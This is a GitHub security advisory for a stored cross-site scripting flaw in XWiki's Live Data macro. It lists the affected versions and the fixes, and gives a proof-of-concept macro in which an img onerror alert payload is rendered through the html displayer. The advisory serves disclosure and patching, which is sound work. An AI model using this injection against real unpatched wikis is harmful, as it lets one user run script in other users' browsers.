GHSA-32fq-m2q5-h83g
XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 12.10, < 13.10.10 | 13.10.10 |
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 14.0, < 14.4.7 | 14.4.7 |
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 14.5, < 14.9 | 14.9 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
A user without script rights can introduce a stored XSS by using the Live Data macro.
For instance:
```
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
```
### Patches
This has been patched in XWiki 14.9, 14.4.7, and 13.10.10.
### Workarounds
No known workaround.
### References
https://jira.xwiki.org/browse/XWIKI-20143
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira](http://jira.xwiki.org/)
* Email us at [Security ML](mailto:[email protected])
References
External links from the advisory. They lead to third-party sites.
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-32fq-m2q5-h83g
- https://nvd.nist.gov/vuln/detail/CVE-2023-26480
- https://github.com/xwiki/xwiki-platform/commit/23d5ea9b23e84b5f3d1f1b2d5673fe8c774d0d79
- https://github.com/xwiki/xwiki-platform/commit/556e7823260b826f344c1a6e95d935774587e028
- https://github.com/xwiki/xwiki-platform
- https://jira.xwiki.org/browse/XWIKI-20143